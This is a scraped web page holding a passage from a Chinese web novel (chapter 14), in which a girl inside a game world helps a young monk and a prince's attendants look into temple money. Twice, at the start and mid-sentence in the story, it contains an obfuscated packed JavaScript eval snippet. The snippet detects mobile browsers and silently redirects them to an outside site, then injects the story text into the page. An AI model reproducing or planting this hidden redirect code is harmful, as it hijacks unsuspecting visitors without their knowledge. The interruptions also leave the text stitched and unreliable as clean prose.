;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854614|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地走下来,用轻纱拂过前排人的脸,她眉眼如画,秋波暗送,祝涞第一次被女生迷得神魂颠倒,心想果然是老祖宗严选,“回眸一笑百媚生”不是说着玩玩的。 大堂里热闹至极,小阁里却出奇地冷清,昝浮生抿了口茶,望着被拉上台互动的祝涞,只一瞬,他又望看向御竹。 御竹拱手作揖:“殿下,二楼诗会属下已打探清楚,确有屈巡等人在。” 他见昝浮生一下又一下地喝茶,便小声问:“殿下,还需进一步调查吗?” 昝浮生将壶里的茶倒完,示意他再去倒点:“都瑞呢?” 都瑞的官职是中书令,屈巡是他手下。 “今日没来。”御竹接过壶说道。 昝浮生了然地点了点头,没再问什么。 御竹往后退了几步,一直到门边,才转身开门出去。还没走两步,御竹就听到一阵欢呼,他往声音的源头看去——祝涞跟着那些歌女一起跳舞,跳得还挺好,御竹不敢相信地揉了揉眼睛,睁眼发现自己没看错。 只是这个舞……有些奇怪,御竹找到小二,让他重新装了一壶茶,再回去时祝涞已经下来了,正往台下走,御竹绕过人群往她那边走:“姑娘不是找朋友去了吗?怎么有雅兴来酒楼跳舞?” 完了,她本想着反正也是NPC,就开始跟着旁边的人跳,后面一上头玩嗨了,就把之前学的一些街舞全用上了。她一人乱舞,底下的人叫得还起劲,她就没怎么在意,可是被御竹看到,那就另说了。 “额…我找完他们就来这了啊,跳舞这事你别说出去,拜托拜托。”祝涞双手合十,央求他——他已经知道了没法改变,所以祝涞只希望昝浮生没看见,可能是相处久了点,会莫名有种羞耻感。 御竹闻言往右边看,那小阁的上半部分是玻璃窗,里面有木板可以关上,从他进去到出来都是敞亮的,此刻却被挡住了。御竹见祝涞诚恳的样子,回过头对她说道:“我不会的,姑娘大可放心。” 祝涞终于松了口气,余光看见御竹手里的茶壶,心中一紧:“你拿着茶壶做什么?该不会他也来了吧?” “公子就在那间阁房喝茶。”御竹指着小阁子说道,“姑娘要不要随我过去?” 祝涞看着紧闭的门窗,想了想,还是说:“不了,我待会要去娄吉那,先走了。” 御竹点点头:“姑娘别又拐别处去了,抹黑才回来,一个人不安全。” 又一次被猜个正着的祝涞:谢谢关心,不过,你是我肚子里的蛔虫么? 她昧着半个良心说道:“我会赶在天黑之前回来的。”她尽量。 等祝涞走后,昝浮生才拿着杯子悠悠地从阁子出来,他接过壶往杯里倒满茶,对御竹说道:“去金泰寺。” 祝涞带着系统走了半小时,才到金泰寺山顶,她扭头对身后的系统说:“有没有快速移动的道具?” 系统停在空中:“有一个,不过你应该舍不得用。” “哪个?”祝涞喘着气,叉腰问它。 “折扇。”系统嘟囔,飞到祝涞前面。 祝涞想了半晌才想起来是一开始的道具,她继续往里面走:“那我确实舍不得。” 日后有大用。 14. 第十四回 下午四五点,金泰寺庙里依旧时不时有人前来朝拜,祝涞熟练地从后门穿到念佛堂,途中还小心翼翼地避开了皮世。念佛堂里还有一些人在抄,祝涞看见了伍小钊,他的背站得很直,一丝不苟地写着,那三人的姿势歪歪扭扭,还经常瞥一眼伍小钊。 祝涞花了一两个小时抄完的佛经,算写的比较认真,按这速度,伍小钊差不多也在抄第三遍了。她背靠在树上抱着臂往寺庙后门看,还是那些信徒,没什么可看……等等,好像有个熟悉的人影。 祝涞的脑袋“噌”得一下发热,一片空白,还有些混乱。不是,他们怎么来了?!她赶紧躲到旁边一棵榕树后面,趴在上面偷偷侧过身看他们有没有过来。 “你在干吗?”一个声音在祝涞后面响起,还用东西戳了她一下。 祝涞本来就精神高度紧绷,此刻被吓一大跳,猛地转过身,白天见了鬼一样的眼神看着后面的人。 伍小钊反倒被祝涞吓到了,手里的佛经差点没拿稳,他疑惑地问:“你做贼了?” 不是做贼,但胜似做贼。祝涞没理他,拉着他猫着腰往藏经阁跑。才踏上第一个台阶,祝涞就被“命运”扼住了喉咙——距离原因,御竹只能拉住她的衣领。 “好巧。”昝浮生走到她前面两个台阶,回头看她。一袭白衣被余晖染了暖色,傍晚的风从他身后往前轻吹,他的长发和衣裙飘起,一向没什么表情的脸此刻微微笑着,像是一个普通的意气风发的少年郎。 刚喘口气,又听到昝浮生这么来一句,祝涞拍拍肩侧,架着旁边一脸懵的伍小钊,死猪不怕开水烫地说:“不巧。” 昝浮生好笑地看她,无奈地往里面走,御竹路过她时更是一副“我就知道会这样”的表情看她,而后默默地跟着昝浮生进去,留下的两人你看我我看你,没看出什么结果,成了最后进去的人。 祝涞的佛经藏在一个柜子的最上层,她当时蹦着放上去的,压根没考虑到拿下来的事,伍小钊已经在桌子上展开了他抄的佛经,祝涞还在一边像个弹簧一样蹦上蹦下,御竹在旁边看伍小钊抄的什么,没注意这边。 她攀着书底下的木板,努力踮起脚去够,差一点,就差一点就够到了,祝涞正想再蹦一下,身后有人把她抱了起来,她一下头顶超过木柜最顶层,佛经近在咫尺,她却愣住了,难以置信地往下看——昝浮生还是清风朗月的样子,甚至是单手抱的她,他淡淡地往佛经上看了一眼,见祝涞迟迟没有动作,空着的那只手伸上去,拿佛经递给她。 你这不是能直接拿吗?! 祝涞被他气到了,虽然他是好意,但她还是红了脸,她接过佛经,昝浮生这时正要放她下来,祝涞还没准备好,身体像要往后倒,赶紧抱住他脖子,她的脸颊贴着昝浮生的一侧额头,小幅度地喘气。 昝浮生这下不但没放她下来,还站直,颠了两下。 祝涞怒目圆睁:“你是不是故意的?” “不是,我是在提示你。”昝浮生一脸无辜。 “提示我什——欸—欸!”祝涞大呼小叫着被稳稳放下。 昝浮生抚平衣袖:“提示你,不用担忧会摔。” 他往书桌走了,祝涞扭头看他,不知怎地,感到一股安心。 她过去把自己的佛经展开在伍小钊对面,没有对比就没有伤害,伍小钊的字乍一看还可以,在祝涞旁边一个个对比过去,丑得千奇百怪。 伍小钊拿过一张来看,御竹的脑袋跟着凑过来:“原以为姑娘只是行书写得绝妙,没想到隶书也能写这般好。” 祝涞撅着嘴:“那不可是。”她又稍稍看了一下昝浮生,就见他也是一脸欣赏的样子。 祝涞假装很忙地整理桌面:“咳咳,下午我不是故意骗你们的,我就是刚好想起这边还有事。” 御竹见昝浮生没有要问的意思,还转头去了后面的书柜,他倒是好奇:“姑娘为何抄佛经?” “我早上本来是想来庙里给自己和朋友求个平安健康的,后面碰到了这位小兄弟,”祝涞指着伍小钊,后者不好意思地挠了挠头,“我见他一脸愁容,我就问他,这一问,原来是和他一同学习的学僧为了不被惩罚而总偷他佛经。” 祝涞的声音刻意放大了些,她提前跟系统用了道具,可以将他人隔绝在外面,暂时不会进来,也听不见他们说什么:“我正义嘛,你们也知道,看不惯这种,当然要帮帮这位小兄弟了。” 说完祝涞还特地看了眼昝浮生,他拿着一本书在看,跟之前无异,也不知道听没听到,祝涞又看御竹,给伍小钊介绍:“他们,他们是我朋友。” 御竹的眼睛微微睁大,飞快地扫了一下后面的昝浮生,发现他在看这边,又飞快地转回头,他小声嘟囔:“没这么简单。” “什么单?”祝涞没听清御竹说什么,她问。 “真好啊,”伍小钊这时开口说道,他的小臂交叠,撑在桌子上,低着头看自己的字——也不知道在没在看,“有朋友,真好啊。” 里面没灯,傍晚,已经有些昏暗,祝涞就那样站着看他,她鼻子一酸,下意识地说:“是啊,有朋友,真好啊。” 她现实生活也没什么朋友。祝涞自己一个人练书法惯了,总以为宅着也挺好,虽然有时候也会羡慕那些有交心朋友的人,但是当爷爷去世以后,她才知道,有一个能够倾诉的人是多么重要。 御竹见两人情绪低下,他把祝涞的纸放回去:“那现在呢?你的计划是什么?” 祝涞微微正色,重新打起情神:“你把我的一张去,放最下面。”祝涞拿起伍小钊上面两张,底下那张边角的泼墨引起了祝涞的注意,“这是什么?” 伍小钊回过神来,指着泼墨对祝涞说:“当时写太急了,不小心弄到的墨水,法师看了下,说没事,让我继续写。” 祝涞将那张纸拿起来放在中间,又将最上面的纸放回去,她把三张纸叠整齐,卷好递给伍小钊:“就跟以前一样放就行。” “这样……不会被发现吗?毕竟你的字跟我差太多了。”伍小钊有些害怕地看着剩下的佛经。 “就是要他们发现才好。”祝涞对他笑着说道。 伍小钊光脚也不在乎穿鞋的了,他把佛经放好,又问:“那你这些明天给我,还是放在一个地方?” 祝涞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854615|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明天可起不了那么早,不过为了谨慎一点,也为了能尽早完成任务,她还是说:“我明早五点给你,在这里的后门口。” “好。”伍小钊想了下,还是对她双手合十,“谢过。” “不客气。”祝涞说。 伍小钊正要走,御竹又把他抓回来,问:“你们近日可有什么大人物来过?怎么香火钱比之前多了这般多?” 许是没想到他的直言不讳,伍小钊顿了下,低声说道:“本来这些主持不许我们讨论的,既然你帮了我,那我也不隐瞒了。” 他像是下了某种决心:“其实我来金泰寺也是听说这里收的钱多,可是近半年,突然变少了很多,这几日不知道怎的又活起来了,你说的大人物,我并不知晓,学僧几乎不接触政治上的事。” 祝涞听他说的,就算先前不知御竹为什么问这些,现在也听出个大概了,她凑过去问:“你们还收黑钱?” 伍小钊紧闭着嘴,片刻后又松开:“欸,跟你们说吧,我有次不小心撞见过,方丈跟主持在佛像后面谈话。”他往门口看了下,没人,也没有丝毫动静,“他们说到了月底,就将钱都转出去。” “有说转到哪去吗?”祝涞比御竹还积极。 “没有,”伍小钊摇头,“不过那段时间对我们的监管挺严的,我也是运气好,没被抓到,赶紧走了。” “那你还能想起什么吗?”祝涞问着,旁边突然站了个人,还轻轻拽了下她胳膊,她回头,见是昝浮生,她站好,问他,“干嘛?” 昝浮生的目光从她的脸上移向门外,又慢慢转过头看她:“时候不早了,明日再商议吧。” 外面的天不知道什么时候完全暗了下来,这里离前塘村有些距离,回去也要花不少时间,祝涞对伍小钊说:“那我们走了,你跟之前一样就行,好好休息,我明早早些过来。” 她尽量,真的。 祝涞还没开始,已经觉得自己十分努力了,她一个人在前面走得飞快,二人在身后不徐不慢地跟着她。 御竹怀疑是不是夜色影响了自己的感官,不然他家主子怎么一直挂着一股似有似无的笑?不过回到家,燃了灯,他家主子又是平静的神色,御竹觉得真的是自己看错了吧。 “好好休息。”昝浮生在祝涞从他身边经过,要去房间时说。 那句她说给伍小钊的话被昝浮生又送给她,祝涞对他浅浅一笑:“嗯。” 她的脑海又浮现出他抱着自己的场景,祝涞立马转回头,僵硬地走回房间。 “姑娘你很冷吗?”御竹刚盖好毯子要躺下,就见祝涞呲着牙打冷颤,还摇了下头。 “对,”祝涞被御竹冷不丁来的一句全身温度骤降,“被你的冷笑话冷到了。” “什么笑话?”御竹一脸懵。 “呵呵。”祝涞没理他,径直走回房间,将要关门时还幽幽地在门缝里看了他一眼。 更懵了的御竹又看向自家主子,只见他的心情颇好的样子,好笑地看了下他,也回了房。 御竹莫名其妙,干脆睡觉。 夜深了,二雪趴在御竹床下,安静地睡着了。